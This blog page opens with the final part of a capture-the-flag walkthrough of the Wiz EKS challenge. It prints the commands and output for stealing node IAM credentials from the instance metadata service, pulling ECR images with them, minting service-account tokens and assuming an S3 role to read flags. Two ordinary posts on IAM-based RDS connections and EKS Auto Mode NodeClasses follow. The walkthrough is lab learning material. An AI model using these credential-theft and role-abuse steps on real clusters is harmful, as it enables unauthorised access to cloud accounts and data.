      "created": "2025-08-13T14:12:01.893680673+03:00",
      "created_by": "RUN sh -c echo 'wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}' > /flag.txt # buildkit",
      "comment": "buildkit.dockerfile.v0"
    },
    {...}
  ],
  {...}
}

Oh, you! So THIS is the actual flag! I could never.

Image Inquisition

Task:
A pod's image holds more than just code. Dive deep into its ECR repository, inspect the image layers, and uncover the hidden secret.

Remember: You are running inside a compromised EKS pod.

Kubernetes policy:

{
    "pods": [
        "list",
        "get"
    ]
}

All right. Let's start with a quick R&R.

root@wiz-eks-challenge:~# k get pods
NAME                      READY   STATUS    RESTARTS   AGE
accounting-pod-acbd5209   1/1     Running   0          23d
root@wiz-eks-challenge:~# k get pod accounting-pod-acbd5209 -o yaml
apiVersion: v1
kind: Pod
metadata:
  annotations:
    pulumi.com/autonamed: "true"
  creationTimestamp: "2025-08-13T11:22:21Z"
  generation: 1
  name: accounting-pod-acbd5209
  namespace: challenge3
  resourceVersion: "280912506"
  uid: ff755d4c-5581-4673-8e2f-5bd999882d5d
spec:
  containers:
  - image: 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-579b0b7@sha256:78ed636b41e5158cc9cb3542fbd578ad7705ce4194048b2ec8783dd0299ef3c4
{...}
root@wiz-eks-challenge:~# crane config 46681.dkr.ecr.us-west-1.amazonaws.com/central_repo-579b0b7@sha256:78ed636b41e5158cc9cb3542fbd578ad7705ce4194048b2ec8783dd0299ef3c4
Error: fetching config: reading image "46681.dkr.ecr.us-west-1.amazonaws.com/central_repo-579b0b7@sha256:78ed636b41e5158cc9cb3542fbd578ad7705ce4194048b2ec8783dd0299ef3c4": GET https://46681.dkr.ecr.us-west-1.amazonaws.com/v2/central_repo-579b0b7/manifests/sha256:78ed636b41e5158cc9cb3542fbd578ad7705ce4194048b2ec8783dd0299ef3c4: unexpected status code 401 Unauthorized: Not Authorized
root@wiz-eks-challenge:~# k exec -ti accounting-pod-acbd5209 -- /bin/bash
Error from server (Forbidden): pods "accounting-pod-acbd5209" is forbidden: User "system:serviceaccount:challenge3:service-account-challenge3" cannot create resource "pods/exec" in API group "" in the namespace "challenge3"
root@wiz-eks-challenge:~# aws sts get-caller-identity

Unable to locate credentials. You can configure credentials by running "aws configure".
root@wiz-eks-challenge:~# ls -la ~/.aws
ls: cannot access '/home/user/.aws': No such file or directory
root@wiz-eks-challenge:~# aws ecr list-images --repository-name entral_repo-579b0b7

Unable to locate credentials. You can configure credentials by running "aws configure".
root@wiz-eks-challenge:~# crane export 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-579b0b7@sha256:78ed636b41e5158cc9cb3542fbd578ad7705ce4194048b2ec8783dd0299ef3c4 -
Error: pulling 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-579b0b7@sha256:78ed636b41e5158cc9cb3542fbd578ad7705ce4194048b2ec8783dd0299ef3c4: GET https://688655246681.dkr.ecr.us-west-1.amazonaws.com/v2/central_repo-579b0b7/manifests/sha256:78ed636b41e5158cc9cb3542fbd578ad7705ce4194048b2ec8783dd0299ef3c4: unexpected status code 401 Unauthorized: Not Authorized

As we see, all the fun stuff is unavailable (expected, but still). Nothing interesting about the pod, no leftover credentials, and no access to the registry either.
Let's dive further. Specifically, let's explore the instance metadata -- perhaps we can find something of interest there.

root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data/iam/
info
security-credentials/
root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data/iam/security-credentials/
eks-challenge-cluster-nodegroup-NodeInstanceRole
root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole
{"AccessKeyId":"ASIA2AVYNEVMQUHHPZJM","Expiration":"2025-09-05 21:20:11+00:00","SecretAccessKey":"/ktJO622Y5GSAXmqdgv+ySje4QNGRgE+...","SessionToken":"FwoGZXIvYXdzECYaDGJ/..."}

Nice! We have session credentials which we can use to authorize the awscli.

root@wiz-eks-challenge:~# mkdir -p ~/.aws && cat << EOF > ~/.aws/credentials
> [default]
> aws_access_key = ASIA2AVYNEVMQUHHPZJM
> aws_secret_access_key = /ktJO622Y5GSAXmqdgv+ySje4QNGRgE+...
> session_token = FwoGZXIvYXdzECYaDGJ/...
> EOF
root@wiz-eks-challenge:~# aws ecr describe-registry

An error occurred (AccessDeniedException) when calling the DescribeRegistry operation: User: arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0bd90a7fe60cdb9f7 is not authorized to perform: ecr:DescribeRegistry on resource: * because no identity-based policy allows the ecr:DescribeRegistry action

It seems that our role is limited, after all. But that's okay; in the end we mainly want to focus on the images in the registry, not the registry itself.

Let's use a neat command to get ECR login credentials.

root@wiz-eks-challenge:~# aws ecr get-login-password
eyJwYXlsb2FkIjoicjlEOCt4Vnd6N01QWEx5bjN5dWdXTmpoQkFEZnNQZndjU25FQmd6WmRzRUg3T3ZsdURhc[...] # omitted for brevity
root@wiz-eks-challenge:~# echo -n '[base64-encoded-data]' | base64 -d
{"payload":"r9D8+xVwz7MPXLyn3yugWNjhBADfsPfwcSnEBgzZdsEH7OvluDarr29d85Hr...","datakey":"AQEBAHijEFXGwF1cipVOacG8qRmJoVBPay8LUUvU8RCVV0XoHwAAAH4wfAYJKoZIh...","version":"2","type":"DATA_KEY","expiration":1757147299}

Great! Several decoding attempts later it was clear to me that this is binary authorization data and I just have to pass it to a login command and not try to decode it all.

root@wiz-eks-challenge:~# aws ecr get-login-password --region us-west-1 | crane auth login --username AWS --password-stdin 688655246681.dkr.ecr.us-west-1.amazonaws.com
2025/09/05 20:30:48 logged in via /home/user/.docker/config.json

Now let's finally dissect the image that we're given.

root@wiz-eks-challenge:~# kubectl get pods accounting-pod-acbd5209 -o yaml | grep '\- image:'
  - image: 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-579b0b7@sha256:78ed636b41e5158cc9cb3542fbd578ad7705ce4194048b2ec8783dd0299ef3c4
root@wiz-eks-challenge:~# crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-579b0b7@sha256:78ed636b41e5158cc9cb3542fbd578ad7705ce4194048b2ec8783dd0299ef3c4 | jq
{
{...}
    {
      "created": "2025-08-13T11:22:17.044629915Z",
      "created_by": "RUN sh -c #ARTIFACTORY_USERNAME=challenge@eksclustergames.com ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit",
      "comment": "buildkit.dockerfile.v0"
    },
{...}
}

Et voilà! And there we have it -- the secret we were looking for, nicely hidden in a Docker image layer.

Pod Break

Task:
You're inside a vulnerable pod on an EKS cluster. Your pod's service-account has no permissions. Can you navigate your way to access the EKS Node's privileged service-account?

Kubernetes policy:

{}

Oh, this is a fun one. We have no permissions on a Kubernetes cluster whatsoever and we have to access a service account.

We can start with the same approach as in a previous task: obtain credentials from the instance metadata.

root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data/iam/security-credentials/
eks-challenge-cluster-nodegroup-NodeInstanceRole
root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole 2>/dev/null | jq
{
  "AccessKeyId": "ASIA2AVYNEVM2STWPOMB",
  "Expiration": "2025-09-05 21:33:34+00:00",
  "SecretAccessKey": "BY4ToDWNJniAbLyYzou...",
  "SessionToken": "FwoGZXIvYXdzECYaDNjSr8orzSsKmTYNbCK3AV9V7Vum3ITD7/..."
}
root@wiz-eks-challenge:~# mkdir -p ~/.aws && cat << EOF > ~/.aws/credentials
> [default]
> aws_access_key_id = ASIA2AVYNEVM2STWPOMB
> aws_secret_access_key = BY4ToDWNJniAbLyYzou...
> aws_session_token = FwoGZXIvYXdzECYaDNjSr8orzSsKmTYNbCK3AV9V7Vum3ITD7/...
> EOF
root@wiz-eks-challenge:~# aws sts get-caller-identity
{
    "UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0bd90a7fe60cdb9f7",
    "Account": "688655246681",
    "Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0bd90a7fe60cdb9f7"
}

Great! The credentials are obtained. Now, for the next step. With the help of the retrieved IAM role we can try to get an EKS authorization token.

root@wiz-eks-challenge:~# aws eks get-token --cluster-name eks-challenge-cluster
{
    "kind": "ExecCredential",
    "apiVersion": "client.authentication.k8s.io/v1beta1",
    "spec": {},
    "status": {
        "expirationTimestamp": "2025-09-05T20:57:45Z",
        "token": "k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFt..."
    }
}

All right, the token is here. Let's see what we have available.

root@wiz-eks-challenge:~# TOKEN=$(aws eks get-token --cluster-name=eks-challenge-cluster | jq '.status.token' | sed "s/\"//g")
root@wiz-eks-challenge:~# kubectl --token=$TOKEN get pods
No resources found in challenge4 namespace.
root@wiz-eks-challenge:~# kubectl --token=$TOKEN get all
Error from server (Forbidden): replicationcontrollers is forbidden: User "system:node:challenge:ip-192-168-63-122.us-west-1.compute.internal" cannot list resource "replicationcontrollers" in API group "" in the namespace "challenge4"
Error from server (Forbidden): services is forbidden: User "system:node:challenge:ip-192-168-63-122.us-west-1.compute.internal" cannot list resource "services" in API group "" in the namespace "challenge4"
Error from server (Forbidden): daemonsets.apps is forbidden: User "system:node:challenge:ip-192-168-63-122.us-west-1.compute.internal" cannot list resource "daemonsets" in API group "apps" in the namespace "challenge4"
Error from server (Forbidden): deployments.apps is forbidden: User "system:node:challenge:ip-192-168-63-122.us-west-1.compute.internal" cannot list resource "deployments" in API group "apps" in the namespace "challenge4"
Error from server (Forbidden): replicasets.apps is forbidden: User "system:node:challenge:ip-192-168-63-122.us-west-1.compute.internal" cannot list resource "replicasets" in API group "apps" in the namespace "challenge4"
Error from server (Forbidden): statefulsets.apps is forbidden: User "system:node:challenge:ip-192-168-63-122.us-west-1.compute.internal" cannot list resource "statefulsets" in API group "apps" in the namespace "challenge4"
Error from server (Forbidden): horizontalpodautoscalers.autoscaling is forbidden: User "system:node:challenge:ip-192-168-63-122.us-west-1.compute.internal" cannot list resource "horizontalpodautoscalers" in API group "autoscaling" in the namespace "challenge4"
Error from server (Forbidden): cronjobs.batch is forbidden: User "system:node:challenge:ip-192-168-63-122.us-west-1.compute.internal" cannot list resource "cronjobs" in API group "batch" in the namespace "challenge4"
Error from server (Forbidden): jobs.batch is forbidden: User "system:node:challenge:ip-192-168-63-122.us-west-1.compute.internal" cannot list resource "jobs" in API group "batch" in the namespace "challenge4"

Not much is available. Oh well, let's try to access the basic secret stuff.

root@wiz-eks-challenge:~# kubectl --token=$TOKEN get secret
NAME        TYPE     DATA   AGE
node-flag   Opaque   1      674d
root@wiz-eks-challenge:~# kubectl --token=$TOKEN get secret node-flag -o json | jq -r '.data.flag' | base64 -d
wiz_eks_challenge{only_a_real_pro_can_navigate_IMDS_to_EKS_congrats}

Hey, it says we're real pros! That's so nice of them.

Container Secrets Infrastructure

Task:
You've successfully transitioned from a limited Service Account to a Node Service Account! Great job. Your next challenge is to move from the EKS to the AWS account. Can you acquire the AWS role of the s3access-sa service account, and get the flag?

IAM role policy:

{
    "Policy": {
        "Statement": [
            {
                "Action": [
                    "s3:GetObject",
                    "s3:ListBucket"
                ],
                "Effect": "Allow",
                "Resource": [
                    "arn:aws:s3:::challenge-flag-bucket-3ff1ae2",
                    "arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"
                ]
            }
        ],
        "Version": "2012-10-17"
    }
}

IAM trust policy:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud": "sts.amazonaws.com"
                }
            }
        }
    ]
}

Kubernetes policy:

{
    "secrets": [
        "get",
        "list"
    ],
    "serviceaccounts": [
        "get",
        "list"
    ],
    "pods": [
        "get",
        "list"
    ],
    "serviceaccounts/token": [
        "create"
    ]
}

This task looks like an amalgam of all the previous tasks in this challenge. The policies, apart from giving us access to the desired flag, hint at what we actually can do with our permissions. For example, the audience in the trust policy is there for a reason. And we're given the ability to create a ServiceAccount token for a reason. (Unless, of course, this is exactly to throw us off the path -- but we will see that soon enough.)

Let's start with credentials.

root@wiz-eks-challenge:~# aws sts get-caller-identity
{
    "UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0bd90a7fe60cdb9f7",
    "Account": "688655246681",
    "Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0bd90a7fe60cdb9f7"
}

We have an assumed role for the instance, but it's of no interest to us. Let's try to find another role to assume.

root@wiz-eks-challenge:~# kubectl describe sa
Name:                debug-sa
Namespace:           challenge5
Labels:              <none>
Annotations:         description: This is a dummy service account with empty policy attached
                     eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeTestRole-fc9d18e
...

Name:                default
Namespace:           challenge5
...

Name:                s3access-sa
Namespace:           challenge5
Labels:              <none>
Annotations:         eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeEksS3Role
...

As we can see, we have three ServiceAccounts available to us. Two of them have roles we can assume. And only one, it seems, is the role with actual permissions to access the flag.

For the next trick we would want to have a web identity token (JWT), which will allow us to assume the next-level role. Let's try to obtain one.

root@wiz-eks-challenge:~# kubectl create token s3access-sa --audience=sts.amazonaws.com
error: failed to create token: serviceaccounts "s3access-sa" is forbidden: User "system:node:challenge:ip-192-168-63-122.us-west-1.compute.internal" cannot create resource "serviceaccounts/token" in API group "" in the namespace "challenge5"

Bummer. But what about another ServiceAccount?

root@wiz-eks-challenge:~# kubectl create token debug-sa --audience=sts.amazonaws.com
eyJhbGciOiJSUzI1NiIsImtpZCI6ImRmZjE4OGZjZDg3...

Bingo!

root@wiz-eks-challenge:~# aws sts assume-role-with-web-identity \
  --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role \
  --role-session-name HeresJohnny
  --web-identity-token eyJhbGciOiJSUzI1NiIsImtpZCI6ImRmZjE4OGZjZDg3.... \
{
    "Credentials": {
        "AccessKeyId": "ASIA2AVYNEVMYGOPTRII",
        "SecretAccessKey": "87W2QkL9e1Mkdj4T0Zf/...",
        "SessionToken": "IQoJb3JpZ2luX2VjEGQaCXVzLXdlc3QtMSJHMEUCIQCfVepHS05hYgXgg8Eu9YwNC44WuH2...",
        "Expiration": "2025-09-30T12:38:48+00:00"
    },
    "SubjectFromWebIdentityToken": "system:serviceaccount:challenge5:debug-sa",
    "AssumedRoleUser": {
        "AssumedRoleId": "AROA2AVYNEVMZEZ2AFVYI:HeresJohnny",
        "Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/HeresJohnny"
    },
    "Provider": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589",
    "Audience": "sts.amazonaws.com"
}

Almost there! Now, the final stretch:

root@wiz-eks-challenge:~# export AWS_ACCESS_KEY_ID=ASIA2AVYNEVMQEKAGCGB
root@wiz-eks-challenge:~# export AWS_SECRET_ACCESS_KEY=87W2QkL9e1Mkdj4T0Zf/...
root@wiz-eks-challenge:~# export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEGQaCXVzLXdlc3QtMSJHMEUCIQCfVepHS05hYgXgg8Eu9YwNC44WuH2...
root@wiz-eks-challenge:~# aws sts get-caller-identity
{
    "UserId": "AROA2AVYNEVMZEZ2AFVYI:imcoming",
    "Account": "688655246681",
    "Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/imcoming"
}
root@wiz-eks-challenge:~# aws s3 cp s3://challenge-flag-bucket-3ff1ae2/flag - | cat
wiz_eks_challenge{w0w_y0u_really_are_4n_eks_and_aws_exp1oitation_legend}

And there we have it! We really are EKS and AWS exploitation legends!

Afterword

Yet another complicated and super-fun challenge. I was as frustrated by not understanding where to go as I was enjoying finding the breadcrumbs along the way that pointed to the next step. Even though the challenge is already two years old (at the time of writing), the lessons from the tasks are still very relevant today. It's never too late to learn something new about information systems security, and it's never a bad idea to remember common mistakes. Because as simple an attack as SQL Injection is still in the OWASP Top 10 Web Application Security Risks to this day.

Stay secure!

Reply to this post ✉️

Kubernetes to RDS: secure connections via IAM roles without passwords

Kirill — Sun, 31 Aug 2025 10:39:38 +0000

Databases are a cornerstone of any meaningful business application. Or not meaningful. Or not even business. They keep things consistent. Yes, that’s the one.

For decades, we’ve been using usernames and passwords to connect to databases inside applications. While consistent and secure enough, sometimes we want a different, more secure way to access sensitive data. And in this article, I’m going to show you the entire process of configuring a database connection using AWS native tools -- IAM roles and policies.

The setup

This article is going to focus on applications running in Elastic Kubernetes Service (EKS) in AWS. Of course, the same approach can be used to allow connections from other compute resources -- whether that’s a plain EC2 instance or an ECS container -- but the details will differ slightly. For example, instead of a Pod Identity Association for an EKS pod, an EC2 instance will need an Instance Profile.

Since the second part of the connection is the database, we’re going to use an RDS database -- specifically Postgres, though it can be any other you prefer. And, of course, the glue that ties it all together will be the IAM roles and policies.

Setting up the database

To access the database using an IAM role, we first have to allow this type of connection. It doesn’t matter if your database is already running or if you’re creating a new one -- this setting can be enabled at any time.

This setting requires a database restart, so keep that in mind.

For my fellow CLI enjoyers, here’s how you can do it with the awscli tool:

# creating a new cluster
aws rds create-db-cluster \
  --db-cluster-identifier my-test-cluster \
  --engine aurora-postgresql \
  --enable-iam-database-authentication
# modifying an existing cluster
aws rds modify-db-cluster \
  --db-cluster-identifier my-test-cluster \
  --enable-iam-database-authentication

After enabling this setting (and applying it), we can continue with the setup.

What do we need to connect to the database? That’s right -- the user! Let’s create one. For simplicity, let's call it database_user.

CREATE USER database_user;
GRANT rds_iam TO database_user;

The second clause grants database_user the ability to access RDS via IAM roles.

Creating a policy and role

An IAM role is the entry ticket that allows the application to connect to the database. It’s very important to configure it properly. By properly, I mean not only correctly -- which is, of course, crucial -- but also with the necessary permissions kept to a bare minimum. The famous Principle of Least Privilege in action.

The main policy should look like this:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "rds-db:connect"
            ],
            "Resource": [
                "arn:aws:rds-db:us-west-2:123456789012:dbuser:cluster-ABCDEFGHIJKL01234/database_user"
            ]
        }
    ]
}

A few things to notice here:

The /database_user at the end of the resource string indicates that this policy is meant only for this particular user.
The permission rds-db:connect differs from regular rds:* permissions, as it is responsible only for granting the ability to connect to the database as the designated user. You can see for yourself -- there’s only one such action.
The resource ARN includes a :cluster-ABCDEFGHIJKL01234/ reference, which allows the connection to the cluster in general. It can also reference a specific database with an ID like :db-ABCDEFGHIJKL01234/, or even an RDS Proxy with an identifier like :prx-ABCDEFGHIJKL01234/.

The policy can utilize wildcards as well, providing various options:

The policy can allow any user to access a specific database using the resource arn:aws:rds-db:us-west-2:123456789012:dbuser:cluster-ABCDEFGHIJKL01234/*.
The policy can allow a particular user to access any database in any region: arn:aws:rds-db:*:123456789012:dbuser:*/database_user.
The policy can also allow anyone to connect to any database: arn:aws:rds-db:us-west-2:123456789012:dbuser:*/*.

The possibilities are vast, but one must always be mindful of overly broad permissions -- it’s a security concern first and foremost.

Okay, that’s enough about the role policy.

The second part of setting up the correct role for the application is the Assume Role Policy -- the configuration that allows a particular actor to assume that role. This is the policy that appears on the "Trust relationships" tab on the role page.

As mentioned above, this article focuses on accessing the database from EKS pods. For this specific case, the assume role policy will look like this:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Service": "pods.eks.amazonaws.com"
            },
            "Action": [
                "sts:AssumeRole",
                "sts:TagSession"
            ]
        }
    ]
}

Basically, we allow pods from EKS to assume the role and tag the session.

And that’s that!

Configuring Pod Identity Associations

Pod Identity Association is a convenient AWS-native way to assign an IAM role to a pod in a specific namespace by associating the role with a service account. This acts like an EC2 Instance Profile.

Assuming you have an existing EKS cluster, head to the "Access" tab and find the "Pod Identity Associations" block. Click the "Create" button and proceed with the creation.

In the first "IAM role" field, select the role you created in the previous step. "Target IAM role" is a new feature that allows for nested permission grants -- slightly confusing, if you ask me, but sometimes helpful. "Kubernetes namespace" is the namespace in which we will allow the pod to assume the role. Finally, "Kubernetes service account" is the name of the service account that will be associated with the desired role.

Click "Create" one more time -- and we’re done here. Let’s move on to the penultimate part: Kubernetes tickling.

Configuring Kubernetes ServiceAccount and workload

A ServiceAccount is a pretty simple Kubernetes resource. Its manifest should look like this:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: my-rds-sa
  namespace: rds-app

Keep in mind that the name of the service account and namespace should match exactly what was used in the previous step; otherwise, the pod identity won’t be able to assume the role.

Now, for the actual workload.

This can be a simple awscli + psql connection test, or a full-scale application, for example written in Python. I’ll go with the second approach, since it’s more interesting and handles the necessary authorization and authentication steps in a single application.

For the Python app, we can create a simple pod:

apiVersion: v1
kind: Pod
metadata:
  name: rds-app-testing
  namespace: rds-app
spec:
  serviceAccountName: my-rds-sa
  containers:
  - name: python-container
    image: python:3.11-slim
    command: ["/bin/bash"]
    args: ["-c", "pip install boto3 psycopg2-binary && sleep infinity"]
    stdin: true
    tty: true
    volumeMounts:
    - name: tmp-storage
      mountPath: /tmp
  volumes:
  - name: tmp-storage
    emptyDir: {}
  restartPolicy: Always

In this manifest, we spin up a pod with Python 3.11, installing the necessary libraries (boto3 and psycopg2-binary, since we need to connect to the AWS API and the Postgres database) and then put it to sleep. This allows us to connect to the pod via shell and execute the script that will help us perform the testing.

import boto3
import psycopg2
import os

ENDPOINT = os.getenv('RDS_ENDPOINT', 'your-rds-endpoint.region.rds.amazonaws.com')
PORT = int(os.getenv('RDS_PORT', '5432'))
USER = os.getenv('DB_USER', 'database_user')
DBNAME = os.getenv('DB_NAME', 'your-database-name')
REGION = os.getenv('AWS_REGION', 'us-west-2')

def test_rds_connection():
    conn = None
    try:
        print(f"🔐 Generating RDS auth token for user: {USER}")
        print(f"📍 Endpoint: {ENDPOINT}:{PORT}")
        print(f"🗄️  Database: {DBNAME}")
        print(f"🌍 Region: {REGION}")
        print("-" * 50)

        client = boto3.client('rds', region_name=REGION)
        token = client.generate_db_auth_token(
            DBHostname=ENDPOINT,
            Port=PORT,
            DBUsername=USER
        )

        print("✅ Auth token generated successfully")

        print("🔗 Attempting to connect to RDS...")
        conn = psycopg2.connect(
            host=ENDPOINT,
            port=PORT,
            user=USER,
            password=token,
            database=DBNAME,
            sslmode='require'
        )

        print("✅ Connected to RDS successfully!")

        cursor = conn.cursor()

        print("\n📋 Running connection tests...")
        cursor.execute("SELECT version();")
        version = cursor.fetchone()[0]
        print(f"🐘 PostgreSQL Version: {version[:50]}...")

        cursor.execute("SELECT NOW();")
        current_time = cursor.fetchone()[0]
        print(f"🕒 Database Time: {current_time}")

        cursor.execute("SELECT current_database(), current_user, inet_server_addr(), inet_server_port();")
        db_info = cursor.fetchone()
        print(f"🗄️  Database: {db_info[0]}")
        print(f"👤 Connected as: {db_info[1]}")
        print(f"🌐 Server IP: {db_info[2]}")
        print(f"🔌 Server Port: {db_info[3]}")

        # Check if we can create/drop a test table
        try:
            cursor.execute("CREATE TABLE IF NOT EXISTS connection_test (id SERIAL PRIMARY KEY, test_time TIMESTAMP DEFAULT NOW());")
            cursor.execute("INSERT INTO connection_test DEFAULT VALUES;")
            cursor.execute("SELECT COUNT(*) FROM connection_test;")
            count = cursor.fetchone()[0]
            print(f"📝 Test table record count: {count}")

            cursor.execute("DROP TABLE IF EXISTS connection_test;")
            conn.commit()
            print("🧹 Test table cleaned up")
        except psycopg2.Error as e:
            print(f"⚠️  Table test skipped (insufficient permissions): {e}")

        print("\n🎉 All connection tests passed successfully!")
        return True

    except boto3.exceptions.Boto3Error as e:
        print(f"❌ AWS/Boto3 Error: {e}")
        return False
    except psycopg2.OperationalError as e:
        print(f"❌ PostgreSQL Connection Error: {e}")
        return False
    except psycopg2.Error as e:
        print(f"❌ PostgreSQL Error: {e}")
        return False
    except Exception as e:
        print(f"❌ Unexpected Error: {e}")
        return False
    finally:
        if conn:
            conn.close()
            print("🔒 Database connection closed")

def check_aws_credentials():
    """Check if AWS credentials are working"""
    try:
        print("🔍 Checking AWS credentials...")
        sts = boto3.client('sts')
        identity = sts.get_caller_identity()
        print(f"✅ AWS Identity: {identity['Arn']}")
        print(f"👤 User/Role: {identity['UserId']}")
        print(f"🏢 Account: {identity['Account']}")
        return True
    except Exception as e:
        print(f"❌ AWS Credentials Error: {e}")
        print("   - Check if Pod Identity association is configured")
        print("   - Verify service account is correctly assigned to pod")
        return False

if __name__ == "__main__":
    print("🚀 Starting RDS Connection Test")
    print("=" * 50)

    if check_aws_credentials():
        print("\n" + "=" * 50)
        test_rds_connection()
    else:
        print("\n❌ Cannot proceed without valid AWS credentials")

    print("\n" + "=" * 50)
    print("🏁 Test completed")

This is an extremely over-engineered script that, nevertheless, does its job -- it helps verify that the permissions are set correctly and the connection is working.

The output of the script will look something like this:

🚀 Starting RDS Connection Test
==================================================
🔍 Checking AWS credentials...
✅ AWS Identity: <user-arn>
👤 User/Role: <role-id>
🏢 Account: <account-id>

==================================================
🔐 Generating RDS auth token for user: database_user
📍 Endpoint: your-rds-endpoint.region.rds.amazonaws.com:5432
🗄️  Database: your-database-name
🌍 Region: us-west-2
--------------------------------------------------
✅ Auth token generated successfully
🔗 Attempting to connect to RDS...
✅ Connected to RDS successfully!

📋 Running connection tests...
🐘 PostgreSQL Version: PostgreSQL 17.4 on aarch64-unknown-linux-gnu, comp...
🕒 Database Time: 2025-08-28 13:48:28.303720+00:00
🗄️  Database: your-database-name
👤 Connected as: database_user
🌐 Server IP: 10.0.100.200
🔌 Server Port: 5432

🎉 All connection tests passed successfully!
🔒 Database connection closed

==================================================
🏁 Test completed

While not performing any meaningful actions, this script helps us understand if all of our preparations were successful.

To use the same approach in an actual business application, you need to perform one extra step compared with a regular connection: acquire a database access token via the generate_db_auth_token() method and use this token as the password in the connection settings.

Afterthought

While working on this article, I kept asking myself: "Who may need this if it’s all available in the documentation?" Technically correct, but AWS documentation tends to separate connected topics into different articles, making it harder to compile a coherent manual for performing a certain action. Here, you have everything you need in one place, from start to finish, guiding you along the way.

Why is this approach good? For several reasons:

Abolishing password-based authorization removes this vector of attack. It also offloads password management tasks: no rotation, no revoking, nothing.

Using IAM roles and policies for authorization allows you to leverage the power of the IaC approach, keeping policies transparent, consistent, and accessible for static code analysis tools and audits. Apart from all that, assuming an IAM role means that sessions are actually short-lived, which increases the security of the connection. Security above all!

Reply to this post ✉️

EKS Auto Mode custom NodeClasses and NodePools

Kirill — Sat, 16 Aug 2025 16:44:49 +0000

Hello, dear reader! It's been a while since our last one-way communication. Mostly because the last couple of months have been taxing on me. Searching for
a new job is not an easy task these days. Also, there’s been a new Warhammer box,
which I just couldn’t resist.

But I'm slowly getting back up to speed, and today we're gonna explore the abilities to manage the managed service -- in particular, how we can configure custom parameters to spin up instances and storage on AWS EKS to our liking.

EKS Auto Mode

EKS (Elastic Kubernetes Service) is an AWS-managed Kubernetes service that takes over control plane operations and cluster maintenance from users, leaving only application management¹. This comes at a cost of $0.10 per cluster per hour ($0.60 for extended support), alongside the regular price of the used instances.

There's another level to this management -- EKS Auto Mode. It takes cluster management one step further and offloads compute, storage, and load balancing from the user. Let's dive into it.

NodeClass and NodePool

EKS Auto Mode is basically Karpenter integrated into the EKS control plane. Given that Karpenter is written by AWS, I'm surprised it's not included by default, as it's a very helpful tool. Karpenter allows cluster administrators to specify infrastructure definitions based on which it will spin up new instances, should the need arise -- and spin them down as well, which is quite important for the budget.

These resources are called NodeClasses and NodePools. There are also NodeClaims, but they are not resources themselves -- rather, they are resource allocation agreements (akin to PersistentVolumeClaims).

NodeClass

A NodeClass describes certain characteristics of the instances we would like to use, such as:

IAM Role to be used by the EC2 instances
Network allocation settings (subnets, security groups, network policies)
Storage allocation settings (size, throughput, encryption)

You can check the full resource definition in the AWS EKS documentation.

It's worth noting that EKS Auto Mode uses different resource definitions than Karpenter, and the syntax varies quite a lot. Karpenter's EC2NodeClass allows for more granular configuration of the necessary instances, including kubelet settings. The difference between the two, I think, comes from AWS taking this part of the management upon itself.

NodePool

NodePool, on the other hand, stays exactly the same between EKS and Karpenter -- which allows us administrators to look for necessary parameters in the more extensive Karpenter documentation. This resource is responsible for instance type configuration: which instances would we like to use? On which architecture? How much CPU should they have? Do they need a GPU? And just how many instances should we spin up within the scope of this NodePool?

Creating Custom NodeClasses and NodePools

To create our own NodePool, we first need to create our own NodeClass. We can use the NodeClass that already exists in the EKS cluster (it's called default, and this name can't be used again), or we can create our own. For example, we might want to spin up new instances only inside private subnets or encrypt volumes using our own specified KMS key.

Here's what the NodeClass definition looks like:

---
apiVersion: eks.amazonaws.com/v1
kind: NodeClass
metadata:
  name: mycoolnodeclass
spec:
  role: custom-role-for-ec2-instances

  subnetSelectorTerms:
    - tags:
        Name: "*private*"
        kubernetes.io/role/internal-elb: "1"

  securityGroupSelectorTerms:
    - tags:
        Name: "eks-cluster-sg-*"

  networkPolicy: DefaultAllow
  networkPolicyEventLogs: Disabled

  ephemeralStorage:
    iops: 6000
    size: "100Gi"
    kmsKeyID: "arn:aws:kms:us-west-2:123456789012:alias/custom-eks-cluster-kms-key"
